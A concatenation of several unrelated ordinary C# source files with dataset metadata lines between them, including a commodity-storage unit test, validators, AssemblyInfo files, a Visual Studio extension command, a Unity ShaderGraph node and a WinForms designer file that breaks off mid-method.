FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. #endregion using System; using System.Collections.Generic; using System.Linq; using Xunit; using static Cmdty.Storage.Sim; namespace Cmdty.Storage.Test { public sealed class BasisFunctionsBuilderTest { [Fact] [Trait("Category", "Lsmc.BasisFunctions")] public void Parse_ValidInput_AsExpected() { const string expression = "1 + s + s*s + s*s**3 + x0 + x1**3 + s*x2**4"; BasisFunction[] basisFunctions = BasisFunctionsBuilder.Parse(expression); Assert.Equal(7, basisFunctions.Length); var spotPriceSims = new[] { 25.69, 21.88, 16.78 }; var markovFactors = new ReadOnlyMemory<double>[] { new[]{ 0.56, 0.12, 1.55}, new[]{ 1.08, 2.088, 0.988}, new[]{ 2.808, 0.998, 5.84} }; // 1s AssertBasisFunction(basisFunctions[0], spotPriceSims, markovFactors, new[] {1.0, 1.0, 1.0}); // Spot price AssertBasisFunction(basisFunctions[1], spotPriceSims, markovFactors, spotPriceSims); // Spot price squared AssertBasisFunction(basisFunctions[2], spotPriceSims, markovFactors, spotPriceSims.Select(s=>s*s)); // Spot price to power of 4 AssertBasisFunction(basisFunctions[3], spotPriceSims, markovFactors, spotPriceSims.Select(s => s*s*s*s)); // First factor AssertBasisFunction(basisFunctions[4], spotPriceSims, markovFactors, markovFactors[0].ToArray()); // Second factor cubed AssertBasisFunction(basisFunctions[5], spotPriceSims, markovFactors, markovFactors[1].ToArray().Select(x=>x*x*x)); // Spot price times third factor to power of 4 double[] thirdFactor = markovFactors[2].ToArray(); AssertBasisFunction(basisFunctions[6], spotPriceSims, markovFactors, spotPriceSims.Select((s, i) => s* Math.Pow(thirdFactor[i], 4))); } private static void AssertBasisFunction(BasisFunction basisFunction, double[] spotSims, ReadOnlyMemory<double>[] markovSims, IEnumerable<double> expectedResults) { var results = new double[spotSims.Length]; basisFunction(markovSims, spotSims, results); Assert.Equal(expectedResults, results); } [Fact] [Trait("Category", "Lsmc.BasisFunctions")] public void CombineWithAddOperator_AsExpected() { BasisFunction[] basisFunctions = BasisFunctionsBuilder.Ones + Spot + Spot * Spot + Spot * Spot.Pow(3) + X0 + X1.Pow(3) + S * X2.Pow(4); Assert.Equal(7, basisFunctions.Length); var spotPriceSims = new[] { 25.69, 21.88, 16.78 }; var markovFactors = new ReadOnlyMemory<double>[] { new[]{ 0.56, 0.12, 1.55}, new[]{ 1.08, 2.088, 0.988}, new[]{ 2.808, 0.998, 5.84} }; // 1s AssertBasisFunction(basisFunctions[0], spotPriceSims, markovFactors, new[] { 1.0, 1.0, 1.0 }); // Spot price AssertBasisFunction(basisFunctions[1], spotPriceSims, markovFactors, spotPriceSims); // Spot price squared AssertBasisFunction(basisFunctions[2], spotPriceSims, markovFactors, spotPriceSims.Select(s => s * s)); // Spot price to power of 4 AssertBasisFunction(basisFunctions[3], spotPriceSims, markovFactors, spotPriceSims.Select(s => s * s * s * s)); // First factor AssertBasisFunction(basisFunctions[4], spotPriceSims, markovFactors, markovFactors[0].ToArray()); // Second factor cubed AssertBasisFunction(basisFunctions[5], spotPriceSims, markovFactors, markovFactors[1].ToArray().Select(x => x * x * x)); // Spot price times third factor to power of 4 double[] thirdFactor = markovFactors[2].ToArray(); AssertBasisFunction(basisFunctions[6], spotPriceSims, markovFactors, spotPriceSims.Select((s, i) => s * Math.Pow(thirdFactor[i], 4))); } } }
45.169492
133
0.629456
[ "MIT" ]
cmdty/storage
tests/Cmdty.Storage.Test/Lsmc/BasisFunctionsBuilderTest.cs
5,332
C#
using FluentValidation; using Adnc.Usr.Application.Dtos; namespace Adnc.Usr.Application.DtoValidators { public class RoleCreationDtoValidator : AbstractValidator<RoleCreationDto> { public RoleCreationDtoValidator() { RuleFor(x => x.Name).NotEmpty().Length(2, 32); RuleFor(x => x.Tips).NotEmpty().Length(2, 64); } } }
25.266667
78
0.646438
[ "MIT" ]
Orlys/Adnc
src/ServerApi/Portal/Adnc.Usr/Adnc.Usr.Application/Services/Role/DtoValidators/RoleCreationDtoValidator.cs
381
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // 有关程序集的常规信息通过下列特性集 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 [assembly: AssemblyTitle("ImageCup2014")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ImageCup2014")] [assembly: AssemblyCopyright("Copyright © 2013")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // 将 ComVisible 设置为 false 会使此程序集中的类型 // 对 COM 组件不可见。如果需要 // 从 COM 访问此程序集中的某个类型,请针对该类型将 ComVisible 特性设置为 true。 [assembly: ComVisible(false)] // 如果此项目向 COM 公开,则下列 GUID 用于 typelib 的 ID [assembly: Guid("915dea63-d187-4afd-8033-3d6fa4a9e7de")] // 程序集的版本信息由下列四个值组成: // // Major Version // Minor Version // Build Number // Revision // // 可以指定所有值,也可以使用“修订号”和“内部版本号”的默认值, // 方法是按如下所示使用 "*": [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
26.472222
56
0.726128
[ "Apache-2.0" ]
YongboZhu/ImageCup2014
Properties/AssemblyInfo.cs
1,284
C#
using System; namespace aim.FullSerializer.Internal { public struct fsVersionedType { /// <summary> /// The direct ancestors that this type can import. /// </summary> public fsVersionedType[] Ancestors; /// <summary> /// The identifying string that is unique among all ancestors. /// </summary> public string VersionString; /// <summary> /// The modeling type that this versioned type maps back to. /// </summary> public Type ModelType; /// <summary> /// Migrate from an instance of an ancestor. /// </summary> public object Migrate(object ancestorInstance) { return Activator.CreateInstance(ModelType, ancestorInstance); } public override string ToString() { return "fsVersionedType [ModelType=" + ModelType + ", VersionString=" + VersionString + ", Ancestors.Length=" + Ancestors.Length + "]"; } public static bool operator ==(fsVersionedType a, fsVersionedType b) { return a.ModelType == b.ModelType; } public static bool operator !=(fsVersionedType a, fsVersionedType b) { return a.ModelType != b.ModelType; } public override bool Equals(object obj) { return obj is fsVersionedType && ModelType == ((fsVersionedType)obj).ModelType; } public override int GetHashCode() { return ModelType.GetHashCode(); } } }
31.612245
147
0.58102
[ "MIT" ]
Dawnfall/Coik-the-piggybank
LD-44/Assets/Scripts/ExternalScripts/FullSerializer/Internal/fsVersionedType.cs
1,551
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("13. RemoveNegativeNumbers")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("13. RemoveNegativeNumbers")] [assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("0bfe946d-a1ab-4b49-821a-c3af41ea51c8")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
38.324324
84
0.749647
[ "MIT" ]
dimitarminchev/ITCareer
02. Programming/2019/2019.02.16/13. RemoveNegativeNumbers/Properties/AssemblyInfo.cs
1,421
C#
using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Threading; using System.Threading.Tasks; using Microsoft.EntityFrameworkCore.Query; using hrmApp.Core.PagedList; using hrmApp.Core.Constants; namespace hrmApp.Core.Repositories { public interface IRepository<TEntity> where TEntity : class { Task<TEntity> GetByIdAysnc(int Id); Task<TEntity> GetByIdAysnc(string Id); Task<IEnumerable<TEntity>> GetAllAsync(); Task<IEnumerable<TEntity>> Where(Expression<Func<TEntity, bool>> predicate); Task<bool> AnyAsync(Expression<Func<TEntity, bool>> predicate); bool Any(Expression<Func<TEntity, bool>> predicate); Task<TEntity> SingleOrDefaultAsync(Expression<Func<TEntity, bool>> predicate); Task AddAsync(TEntity entity); Task AddRangeAsync(IEnumerable<TEntity> entities); void Remove(TEntity entity); void RemoveRange(IEnumerable<TEntity> entities); TEntity Update(TEntity entity); // pagination... after all, not used => better: client-side solution with DataTables Task<IPagedList<TEntity>> GetPagedListAsync( Expression<Func<TEntity, bool>> predicate = null, Func<IQueryable<TEntity>, IOrderedQueryable<TEntity>> orderBy = null, Func<IQueryable<TEntity>, IIncludableQueryable<TEntity, object>> include = null, int pageIndex = 0, int pageSize = Paging.PageSize, bool disableTracking = true, CancellationToken cancellationToken = default(CancellationToken), bool ignoreQueryFilters = false); } }
39.857143
92
0.696535
[ "MIT" ]
gasparekferenc/hrmApp.N-Layer.MVC
scr/hrmApp/hrmApp.Core/Repositories/IRepository.cs
1,676
C#
using System; namespace stdlibXtf.Common { /// <summary> /// Interface that provide the base properties of all the packages. /// </summary> public interface IPacket { #region Properties /// <summary> /// Gets the number that identify the correct start of the packet. /// </summary> UInt16 MagicNumber { get; } /// <summary> /// Gets the type of the packet header. /// </summary> Byte HeaderType { get; } /// <summary> /// Gets the index number of which channels this packet are referred. /// </summary> Byte SubChannelNumber { get; } /// <summary> /// Gets the number of channels that follow this packet. /// </summary> UInt16 NumberChannelsToFollow { get; } /// <summary> /// Total byte count for this packet, including the header and the data if available. /// </summary> UInt32 NumberBytesThisRecord { get; } /// <summary> /// Gets the packet recording time. /// </summary> DateTime PacketTime { get; } #endregion Properties } }
26.636364
93
0.557167
[ "MIT" ]
jaksg82/stdlibXtf
Common/IPacket.cs
1,174
C#
using EnvDTE; using EnvDTE80; using Microsoft.VisualStudio.Shell; using Microsoft.VisualStudio.Shell.Interop; using DumpStackToCSharpCode.StackFrameAnalyzer; using DumpStackToCSharpCode.Window; using System; using System.ComponentModel.Design; using DumpStackToCSharpCode.Options; using Task = System.Threading.Tasks.Task; using DumpStackToCSharpCode.CurrentStack; using System.Collections.Generic; using System.Linq; using System.Windows.Controls; using DumpStackToCSharpCode.ObjectInitializationGeneration.Constructor; using static DumpStackToCSharpCode.Options.DialogPageProvider; using DumpStackToCSharpCode.Command.Util; namespace DumpStackToCSharpCode.Command { /// <summary> /// Command handler /// </summary> internal sealed class DumpStackToCSharpCodeCommand { /// <summary> /// Command ID. /// </summary> public const int CommandId = 0x0100; /// <summary> /// Command menu group (command set GUID). /// </summary> public static readonly Guid CommandSet = new Guid("546abd90-d54f-42c1-a8ac-26fdd0f6447d"); /// <summary> /// VS Package that provides this command, not null. /// </summary> private readonly AsyncPackage package; private static DTE2 _dte; private static DebuggerEvents _debuggerEvents; private ICurrentStackWrapper _currentStackWrapper; private ArgumentsListPurifier _argumentsListPurifier; /// <summary> /// Initializes a new instance of the <see cref="DumpStackToCSharpCodeCommand"/> class. /// Adds our command handlers for menu (commands must exist in the command table file) /// </summary> /// <param name="package">Owner package, not null.</param> /// <param name="commandService">Command service to add command to, not null.</param> private DumpStackToCSharpCodeCommand(AsyncPackage package, OleMenuCommandService commandService) { this.package = package ?? throw new ArgumentNullException(nameof(package)); commandService = commandService ?? throw new ArgumentNullException(nameof(commandService)); var menuCommandID = new CommandID(CommandSet, CommandId); var menuItem = new MenuCommand(this.Execute, menuCommandID); commandService.AddCommand(menuItem); _currentStackWrapper = new CurrentStackWrapper(); _argumentsListPurifier = new ArgumentsListPurifier(); } /// <summary> /// Gets the instance of the command. /// </summary> public static DumpStackToCSharpCodeCommand Instance { get; private set; } /// <summary> /// Gets the service provider from the owner package. /// </summary> private StackDataDumpControl _stackDataDumpControl; /// <summary> /// Initializes the singleton instance of the command. /// </summary> /// <param name="package">Owner package, not null.</param> public static async Task InitializeAsync(AsyncPackage package) { // Switch to the main thread - the call to AddCommand in DumpStackToCSharpCodeCommand's constructor requires // the UI thread. await ThreadHelper.JoinableTaskFactory.SwitchToMainThreadAsync(package.DisposalToken); var dte = await package.GetServiceAsync(typeof(DTE)) ?? throw new Exception("GetServiceAsync returned DTE null"); _dte = dte as DTE2; _debuggerEvents = _dte.Events.DebuggerEvents; var commandService = await package.GetServiceAsync((typeof(IMenuCommandService))) as OleMenuCommandService; Instance = new DumpStackToCSharpCodeCommand(package, commandService); } public void SubscribeForReadOnlyObjectArgumentsPageProviderEvents(EventHandler<bool> action, EventHandler<bool> onReadOnlyObjectArgumentsOptionsSave) { var pageProvider = package.GetDialogPage(typeof(DialogPageProvider.ReadOnlyObjectArgumentsPageProvider)) as ReadOnlyObjectArgumentsPageProvider; pageProvider.OnSettingsPageActivate += action; pageProvider.SubstribeForModelSave(onReadOnlyObjectArgumentsOptionsSave); } public IReadOnlyCollection<CurrentExpressionOnStack> GetCurrentStack() { return _currentStackWrapper.RefreshCurrentLocals(_dte); } public void SubscribeForDebuggerContextChange() { _debuggerEvents.OnContextChanged += OnDebuggerContextChange; } public void UnSubscribeForDebuggerContextChange() { _debuggerEvents.OnContextChanged -= OnDebuggerContextChange; } public void SubscribeForDebuggerContextChange(_dispDebuggerEvents_OnContextChangedEventHandler eventHandler) { _debuggerEvents.OnContextChanged += eventHandler; } public void UnSubscribeForDebuggerContextChange(_dispDebuggerEvents_OnContextChangedEventHandler eventHandler) { _debuggerEvents.OnContextChanged -= eventHandler; } public void ResetCurrentStack() { _currentStackWrapper.Reset(); } public async Task OnSettingsSaveAsync() { var generalOptions = await GeneralOptions.GetLiveInstanceAsync(); if (_stackDataDumpControl == null) { var window = await package.FindToolWindowAsync(typeof(StackDataDump), 0, true, package.DisposalToken); var stackDataDump = window as StackDataDump; _stackDataDumpControl = stackDataDump?.Content as StackDataDumpControl; } _stackDataDumpControl.MaxDepth.Text = generalOptions.MaxObjectDepth.ToString(); _stackDataDumpControl.AutomaticallyRefresh.IsChecked = generalOptions.AutomaticallyRefresh; } private async void OnDebuggerContextChange(Process newprocess, Program newprogram, Thread newthread, StackFrame newstackframe) { try { await DumpStackToCSharpCodeAsync(new List<string>()); } catch (Exception e) { _stackDataDumpControl.LogException(e); } } /// <summary> /// This function is the callback used to execute the command when the menu item is clicked. /// See the constructor to see how the menu item is associated with this function using /// OleMenuCommandService service and MenuCommand class. /// </summary> /// <param name="sender">Event sender.</param> /// <param name="e">Event args.</param> public async void Execute(object sender, EventArgs e) { try { IList<string> locals = new List<string>(); if (e is ChosenLocalsEventArgs chosenLocals) { locals = chosenLocals.CkeckedLocals; } await DumpStackToCSharpCodeAsync(locals); } catch (Exception exception) { _stackDataDumpControl.ResetControls(); await RefreshUI(); _stackDataDumpControl.LogException(exception); } } private async Task DumpStackToCSharpCodeAsync(IList<string> chosenLocals) { if (_stackDataDumpControl == null) { await package.JoinableTaskFactory.RunAsync(async () => { await ThreadHelper.JoinableTaskFactory.SwitchToMainThreadAsync(); var window = await package.FindToolWindowAsync(typeof(StackDataDump), 0, true, package.DisposalToken); var windowFrame = (IVsWindowFrame)window.Frame; if (windowFrame.IsVisible() != 0) { Microsoft.VisualStudio.ErrorHandler.ThrowOnFailure(windowFrame.Show()); } var stackDataDump = window as StackDataDump; _stackDataDumpControl = stackDataDump?.Content as StackDataDumpControl; _currentStackWrapper.RefreshCurrentLocals(_dte); await DumpStackToCSharpCodeAsync(chosenLocals); }); return; } await ThreadHelper.JoinableTaskFactory.SwitchToMainThreadAsync(); _stackDataDumpControl.ClearControls(); await RefreshUI(); var debuggerStackToDumpedObject = new DebuggerStackToDumpedObject(); if (_currentStackWrapper.CurrentExpressionOnStacks == null) { _currentStackWrapper.RefreshCurrentLocals(_dte); } if (_currentStackWrapper.CurrentExpressionOnStacks == null) { _stackDataDumpControl.ResetControls(); return; } var locals = _currentStackWrapper.CurrentExpressionOnStacks .Where(x => chosenLocals.Count == 0 || chosenLocals.Any(y => y == x.Name)) .Select(x => x.Expression).ToList(); var readonlyObjects = GetConstructorArguments(); var dumpedObjectsToCsharpCode = debuggerStackToDumpedObject.DumpObjectOnStack(locals, int.Parse(_stackDataDumpControl.MaxDepth.Text), GeneralOptions.Instance.GenerateTypeWithNamespace, GeneralOptions.Instance.MaxObjectsToAnalyze, GeneralOptions.Instance.MaxGenerationTime, readonlyObjects, GeneralOptions.Instance.GenerateConcreteType); _stackDataDumpControl.CreateStackDumpControls(dumpedObjectsToCsharpCode.dumpedObjectToCsharpCode, dumpedObjectsToCsharpCode.errorMessage); } private Dictionary<string, IReadOnlyList<string>> GetConstructorArguments() { var readonlyObjects = new Dictionary<string, IReadOnlyList<string>>(new OrdinalIgnoreCaseComparer()); for (int i = 0; i < _stackDataDumpControl.Class.Children.Count; i++) { var classNameTextBox = _stackDataDumpControl.Class.Children[i] as TextBox; var className = classNameTextBox.Text.Trim(); if (string.IsNullOrWhiteSpace(className)) { continue; } var argumentListTextBox = _stackDataDumpControl.Arguments.Children[i] as TextBox; var argumentList = argumentListTextBox.Text.Trim().Split(new[] { ",", ";" }, StringSplitOptions.RemoveEmptyEntries).ToList(); if (argumentList.Count == 0) { continue; } var purifiedArgumentList = _argumentsListPurifier.Purify(argumentList); readonlyObjects[className] = purifiedArgumentList; } return readonlyObjects; } private async Task RefreshUI() { await ThreadHelper.JoinableTaskFactory.SwitchToMainThreadAsync(); try { var vsUiShell = (IVsUIShell)await package.GetServiceAsync(typeof(IVsUIShell)); if (vsUiShell != null) { int hr = vsUiShell.UpdateCommandUI(0); Microsoft.VisualStudio.ErrorHandler.ThrowOnFailure(hr); } } catch (Exception e) { _stackDataDumpControl.LogException(e); } } } }
42.254355
157
0.605673
[ "MIT" ]
jdavid82/DumpStackToCSharpCode
DumpStackToCSharpCode/DumpStackToCSharpCode/Command/DumpStackToCSharpCodeCommand.cs
12,129
C#
using System.Collections.Generic; using UnityEditor.ShaderGraph.Drawing.Controls; using UnityEngine; using UnityEditor.Graphing; namespace UnityEditor.ShaderGraph { [Title("Input", "Texture", "Texture 2D Asset")] class Texture2DAssetNode : AbstractMaterialNode, IPropertyFromNode { public const int OutputSlotId = 0; const string kOutputSlotName = "Out"; public Texture2DAssetNode() { name = "Texture 2D Asset"; UpdateNodeAfterDeserialization(); } public sealed override void UpdateNodeAfterDeserialization() { AddSlot(new Texture2DMaterialSlot(OutputSlotId, kOutputSlotName, kOutputSlotName, SlotType.Output)); RemoveSlotsNameNotMatching(new[] { OutputSlotId }); } [SerializeField] private SerializableTexture m_Texture = new SerializableTexture(); [TextureControl("")] public Texture texture { get { return m_Texture.texture; } set { if (m_Texture.texture == value) return; m_Texture.texture = value; Dirty(ModificationScope.Node); } } public override void CollectShaderProperties(PropertyCollector properties, GenerationMode generationMode) { properties.AddShaderProperty(new TextureShaderProperty() { overrideReferenceName = GetVariableNameForSlot(OutputSlotId), generatePropertyBlock = true, value = m_Texture, modifiable = false }); } public override void CollectPreviewMaterialProperties(List<PreviewProperty> properties) { properties.Add(new PreviewProperty(PropertyType.Texture2D) { name = GetVariableNameForSlot(OutputSlotId), textureValue = texture }); } public AbstractShaderProperty AsShaderProperty() { var prop = new TextureShaderProperty { value = m_Texture }; if (texture != null) prop.displayName = texture.name; return prop; } public int outputSlotId { get { return OutputSlotId; } } } }
31.786667
114
0.577181
[ "Apache-2.0" ]
DPRuin/LearnShader
LearnShader/Library/PackageCache/[email protected]/Editor/Data/Nodes/Input/Texture/Texture2DAssetNode.cs
2,384
C#
namespace Aplikacja { partial class OknoTabelaPrzeliczeniowa { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(OknoTabelaPrzeliczeniowa)); this.GroupBoxKalibracja = new System.Windows.Forms.GroupBox(); this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); this.NumericJavaScript = new System.Windows.Forms.NumericUpDown(); this.label12 = new System.Windows.Forms.Label(); this.LabelDataRozp = new System.Windows.Forms.Label(); this.NumericABAP = new System.Windows.Forms.NumericUpDown(); this.label1 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.label8 = new System.Windows.Forms.Label(); this.label7 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.label10 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.label14 = new System.Windows.Forms.Label(); this.label18 = new System.Windows.Forms.Label(); this.label22 = new System.Windows.Forms.Label(); this.label26 = new System.Windows.Forms.Label(); this.label30 = new System.Windows.Forms.Label(); this.label13 = new System.Windows.Forms.Label(); this.label17 = new System.Windows.Forms.Label(); this.label21 = new System.Windows.Forms.Label(); this.label25 = new System.Windows.Forms.Label(); this.label31 = new System.Windows.Forms.Label(); this.label33 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.label11 = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.label15 = new System.Windows.Forms.Label(); this.label23 = new System.Windows.Forms.Label(); this.label29 = new System.Windows.Forms.Label(); this.label36 = new System.Windows.Forms.Label(); this.label16 = new System.Windows.Forms.Label(); this.label19 = new System.Windows.Forms.Label(); this.label20 = new System.Windows.Forms.Label(); this.label27 = new System.Windows.Forms.Label(); this.label32 = new System.Windows.Forms.Label(); this.label28 = new System.Windows.Forms.Label(); this.label37 = new System.Windows.Forms.Label(); this.label35 = new System.Windows.Forms.Label(); this.label40 = new System.Windows.Forms.Label(); this.label45 = new System.Windows.Forms.Label(); this.NumericASP = new System.Windows.Forms.NumericUpDown(); this.NumericBrio = new System.Windows.Forms.NumericUpDown(); this.NumericAssembler = new System.Windows.Forms.NumericUpDown(); this.NumericC = new System.Windows.Forms.NumericUpDown(); this.NumericCpp = new System.Windows.Forms.NumericUpDown(); this.NumericCsharp = new System.Windows.Forms.NumericUpDown(); this.NumericCOBOL = new System.Windows.Forms.NumericUpDown(); this.NumericCognos = new System.Windows.Forms.NumericUpDown(); this.NumericCross = new System.Windows.Forms.NumericUpDown(); this.NumericCool = new System.Windows.Forms.NumericUpDown(); this.NumericDatastage = new System.Windows.Forms.NumericUpDown(); this.NumericExcel = new System.Windows.Forms.NumericUpDown(); this.NumericFocus = new System.Windows.Forms.NumericUpDown(); this.NumericFoxPro = new System.Windows.Forms.NumericUpDown(); this.NumericHTML = new System.Windows.Forms.NumericUpDown(); this.NumericJ2EE = new System.Windows.Forms.NumericUpDown(); this.NumericJava = new System.Windows.Forms.NumericUpDown(); this.NumericJCL = new System.Windows.Forms.NumericUpDown(); this.NumericLINC = new System.Windows.Forms.NumericUpDown(); this.NumericLotus = new System.Windows.Forms.NumericUpDown(); this.NumericNatural = new System.Windows.Forms.NumericUpDown(); this.NumericDotNet = new System.Windows.Forms.NumericUpDown(); this.NumericOracle = new System.Windows.Forms.NumericUpDown(); this.NumericPACBASE = new System.Windows.Forms.NumericUpDown(); this.NumericPerl = new System.Windows.Forms.NumericUpDown(); this.NumericPLI = new System.Windows.Forms.NumericUpDown(); this.NumericPLSQL = new System.Windows.Forms.NumericUpDown(); this.NumericPowerbuilder = new System.Windows.Forms.NumericUpDown(); this.NumericREXX = new System.Windows.Forms.NumericUpDown(); this.NumericSabretalk = new System.Windows.Forms.NumericUpDown(); this.NumericSAS = new System.Windows.Forms.NumericUpDown(); this.NumericSiebel = new System.Windows.Forms.NumericUpDown(); this.NumericSLOGAN = new System.Windows.Forms.NumericUpDown(); this.NumericSQL = new System.Windows.Forms.NumericUpDown(); this.NumericVBNet = new System.Windows.Forms.NumericUpDown(); this.NumericVisualBasic = new System.Windows.Forms.NumericUpDown(); this.ButtonPrzywrocDomyslne = new System.Windows.Forms.Button(); this.ButtonAnuluj = new System.Windows.Forms.Button(); this.ButtonOk = new System.Windows.Forms.Button(); this.ToolTip = new System.Windows.Forms.ToolTip(this.components); this.GroupBoxKalibracja.SuspendLayout(); this.tableLayoutPanel2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.NumericJavaScript)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericABAP)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericASP)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericBrio)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericAssembler)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericC)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCpp)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCsharp)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCOBOL)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCognos)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCross)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCool)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericDatastage)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericExcel)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericFocus)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericFoxPro)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericHTML)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericJ2EE)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericJava)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericJCL)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericLINC)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericLotus)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericNatural)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericDotNet)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericOracle)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPACBASE)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPerl)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPLI)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPLSQL)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPowerbuilder)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericREXX)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSabretalk)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSAS)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSiebel)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSLOGAN)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSQL)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericVBNet)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericVisualBasic)).BeginInit(); this.SuspendLayout(); // // GroupBoxKalibracja // this.GroupBoxKalibracja.Controls.Add(this.tableLayoutPanel2); this.GroupBoxKalibracja.Controls.Add(this.ButtonPrzywrocDomyslne); this.GroupBoxKalibracja.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.GroupBoxKalibracja.Location = new System.Drawing.Point(12, 12); this.GroupBoxKalibracja.Name = "GroupBoxKalibracja"; this.GroupBoxKalibracja.Size = new System.Drawing.Size(583, 620); this.GroupBoxKalibracja.TabIndex = 22; this.GroupBoxKalibracja.TabStop = false; this.GroupBoxKalibracja.Text = "Tabela przeliczeniowa punktów funkcyjnych na linie kodu źródłowego"; // // tableLayoutPanel2 // this.tableLayoutPanel2.ColumnCount = 4; this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33.33333F)); this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 24.06417F)); this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 18.89483F)); this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 23.35116F)); this.tableLayoutPanel2.Controls.Add(this.NumericJavaScript, 0, 18); this.tableLayoutPanel2.Controls.Add(this.label12, 0, 18); this.tableLayoutPanel2.Controls.Add(this.LabelDataRozp, 0, 0); this.tableLayoutPanel2.Controls.Add(this.NumericABAP, 1, 0); this.tableLayoutPanel2.Controls.Add(this.label1, 0, 1); this.tableLayoutPanel2.Controls.Add(this.label3, 0, 2); this.tableLayoutPanel2.Controls.Add(this.label2, 0, 3); this.tableLayoutPanel2.Controls.Add(this.label8, 2, 0); this.tableLayoutPanel2.Controls.Add(this.label7, 2, 1); this.tableLayoutPanel2.Controls.Add(this.label4, 2, 2); this.tableLayoutPanel2.Controls.Add(this.label10, 2, 3); this.tableLayoutPanel2.Controls.Add(this.label9, 2, 4); this.tableLayoutPanel2.Controls.Add(this.label14, 2, 5); this.tableLayoutPanel2.Controls.Add(this.label18, 2, 6); this.tableLayoutPanel2.Controls.Add(this.label22, 2, 7); this.tableLayoutPanel2.Controls.Add(this.label26, 2, 8); 